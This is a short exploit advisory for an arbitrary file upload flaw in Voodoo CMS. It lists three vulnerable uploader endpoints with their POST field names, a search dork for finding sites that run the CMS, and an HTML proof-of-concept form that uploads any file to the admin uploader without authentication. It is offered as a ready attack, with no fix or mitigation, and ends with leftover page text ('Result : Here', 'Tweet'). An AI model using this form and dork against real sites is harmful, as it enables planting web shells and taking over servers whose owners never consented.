Voodoo CMS Aribitarty File Upload

#- Title : Voodoo CMS Aribitarty File Upload

#- Web Vendor : voodoocms.com

#- Author : Mr. Error 404

#- Tested on : Windows 8 , Linux

#- Date : 9/12/15

#- Dork :"Diseño y Desarrollo PVS Interactive"

Infected :

-= web.com/voodoo-admin/uploader.php -> Method post: qqfile

-= web.com/voodoo-admin/upload.php -> Method post: Filedata

-= web.com/uploader.php -> Method post: qqfile

Proof of Concept

qqfile :

<form enctype="multipart/form-data"

action="http://web.com/voodoo-admin/uploader.php" method="post">

Your File: <input name="qqfile" type="file" /><br />

<input type="submit" value="upload" />

</form>

Result : Here

Tweet